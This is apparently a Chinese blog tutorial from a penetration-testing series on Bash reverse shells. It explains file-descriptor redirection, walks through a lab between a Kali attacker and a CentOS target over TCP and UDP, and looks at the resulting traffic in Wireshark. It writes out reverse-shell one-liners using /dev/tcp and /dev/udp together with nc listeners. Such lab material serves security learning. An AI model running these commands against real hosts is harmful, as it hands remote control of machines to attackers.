[隧道代理] 隧道代理 — 反弹 Shell - Bash 反弹 Shell

关注这个专栏的其他相关笔记:内网安全 内网渗透 - 学习手册-CSDN博客

0x01:Bash 工具介绍

Shell 常被称为 "终端" 或 "壳",是人与内核之间的翻译官,而 Bash 则是 Linux 中默认使用的 Shell。

常用的 Bash 反弹 Shell 的命令如下:

bash 复制代码
 ### 走 TCP 协议,对应服务端接收使用 nc -lvvp <指定端口>
 bash -i >& /dev/tcp/攻击机_IP/攻击者端口 0>&1
 bash -i >& /dev/tcp/攻击机_IP/攻击者端口 0>&2
 ​
 ### 走 UDP 协议,对应服务端接收使用 nc -lup <指定端口>
 bash -i >& /dev/udp/攻击机_IP/攻击者端口 0>&1
 bash -i >& /dev/udp/攻击机_IP/攻击者端口 0>&2

简单介绍一下上面这些命令反弹 Shell 的原理,在介绍原理之前,我们先来了解一下构成这些命令的字符的含义(不了解原理也没关系,拿来用就完了):

  • bash -i => 打开一个交互式的 Shell

  • & => 该符号常用于区分文件和文件描述符。

    • 当 >& 符号后面跟文件时,表示将标准输出和标准错误输出重定向至指定文件。

    • 当 >& 符号后面跟数字时,表示后面的数字是文件描述符,如果不加 & 则系统会将后面的数字当作文件名称。

  • 数字 0, 1, 2 是 Linux Shell 下的文件描述符。

    • 0 => 表示标准输入

    • 1 => 表示标准输出

    • 2 => 表示标准错误输出

  • /dev/tcp or /dev/udp => 这两个文件是 Linux 中的特殊设备,可用于建立 Socket 连接,读写这俩文件就相当于是在 Socket 连接中传输数据。

在上面的命令中,bash -i >& /dev/tcp/攻击机_IP/攻击机端口 表示将标准输出和标准错误输出都重定向到攻击机指定端口中,此时,本地命令的执行结果在攻击机中就可以被看到。而 0>&1 或者 0>&2 则表示将标准输入重定向到了标准输出,而又由于前面标准输出已经重定向到了攻击机,因此标准输入也重定向到了攻击机中,此时攻击机又可以在 Shell 中看到自己输入的命令,结合二者,攻击机就得到了一个基本完善的 Shell,既能执行命令,又能看到命令的回显。

不过上面也说了,这只是一个基本完善的 Shell,像 VIM 这种命令是执行不了的,要想执行这种命令,我们就需要将反弹 Shell,升级为交互式 Shell,这个是后话,这里不说。

0x02:Bash 反向反弹 Shell - TCP 通道

Bash 反弹 Shell 只能用于反向连接,不能正向连接哦。对于正向连接与反向连接的使用场景,相信看过前面 NetCat(NC)反弹 Shell 的小伙伴都已经很清楚了,所以笔者这里就不费笔墨讲解场景了,直接开始实验。

0x0201:Bash 反向反弹 Shell --- 实验流程

复现环境

  • 攻击机 Kali Linux:IP 192.168.0.102

  • 靶机 CentOS7:IP 192.168.0.105

首先,在攻击机中执行如下命令,监听本机的 9999 端口,等待靶机自己上钩:

bash 复制代码
 nc -lvvp 9999

然后来到靶机中,执行如下命令,将自己的控制权移交给攻击者的 9999 端口:

bash 复制代码
 bash -i >& /dev/tcp/192.168.0.102/9999 0>&1

此时我们回到 Kali 攻击机中,可以看到靶机成功上线:

0x0202:Bash 反向反弹 Shell --- 流量分析

接下来我们就以上面我们通过 Bash 反弹 Shell 在靶机上执行 ifconfig 命令为例,来分析一下 Bash 反弹 Shell 的流量特征。

在 Kali Linux 中打开 WireShark,并重新在反弹 Shell 的界面中输入 ifconfig 后进行抓包:

如上,这就是走 TCP 通道的 Bash 反弹 Shell 的流量,没有任何加密,一眼就看出攻击者做了啥。

0x03:Bash 反向反弹 Shell - UDP 通道

Bash 使用 UDP 通道进行反弹 Shell 主要是给大家长长见识,实际的话,我感觉不太靠谱,因为我一条命令也执行不了(得自己写脚本改)。

0x0301:Bash 反向反弹 Shell --- 实验流程

复现环境

  • 攻击机 Kali Linux:IP 192.168.0.102

  • 靶机 CentOS7:IP 192.168.0.105

首先,在攻击机中执行如下命令,监听本机的 9999 端口,等待靶机自己上钩:

bash 复制代码
 nc -lup 9999

然后来到靶机中,执行如下命令,将自己的控制权移交给攻击者的 9999 端口:

bash 复制代码
 bash -i >& /dev/udp/192.168.0.102/9999 0>&1

此时我们回到 Kali 攻击机中,可以看到靶机成功上线,不过很可惜,一句完整的命令都执行不了:

0x0302:Bash 反向反弹 Shell --- 流量分析

接下来我们就以上面我们通过 Bash 反弹 Shell 在靶机上执行 w 命令为例,来分析一下走 UDP 的 Bash 反弹 Shell 的流量特征。

在 Kali Linux 中打开 WireShark,并重新在反弹 Shell 的界面中输入 w 后进行抓包:

如上,这就是走 UDP 通道的 Bash 反弹 Shell 的流量,没有任何加密,一眼就看出攻击者做了啥。虽然上面演示的这个有点鸡肋,但是如果你比较牛逼的话,使用 UDP 编的远控工具一般很难被防御,因为 TCP 会走三次握手,会给防火墙很多次机会,UDP 就不会了,直接过,可惜了,就是不稳定。

相关推荐
云和数据.ChenGuang5 小时前
Python 常见特殊方法详解:__new__、__init__、__del__、__str__、__repr__ 与 __getattribute__
开发语言·人工智能·python·1024程序员节
xyouyuweizhu5 小时前
字节流与字符流:Java IO 的两条主线该怎么选
java·开发语言·python
多弗朗皮卡丘6 小时前
C++的IO流
开发语言·c++·io流·文件io流
骑着蜗牛撵大象3276 小时前
AI Agent 工程化开发实战(三):用 StateGraph 给智能体搭一条可回放的状态流水线
java·开发语言·jvm·ai·状态管理·langgraph·stategraph
itmigrate6 小时前
Rust 里的所有权误区:不是不写 clone 就叫高性能
开发语言·后端·rust
Brilliantwxx6 小时前
【Linux】 文件访问与路径解析:目录、文件名、dentry、路径缓冲与 dcache 全解析
linux·运维·服务器·开发语言·spring
摇滚侠7 小时前
《On Java 中文版 基础卷》阅读笔记 初始化和清理 08
java·开发语言·笔记
xiangyun617 小时前
C++ 手撕 shared_ptr:引用计数与控制块到底长什么样?
开发语言·c++·算法·面试·stl
XiYang-DING7 小时前
P4009.和为K的子数组个数 & P5522.异或和为 k 的子数组个数
java·开发语言
jaysee-sjc7 小时前
【苍穹外卖】Day12:工作台数据看板与 Excel 报表导出
java·开发语言·数据库·spring boot·spring·微信·excel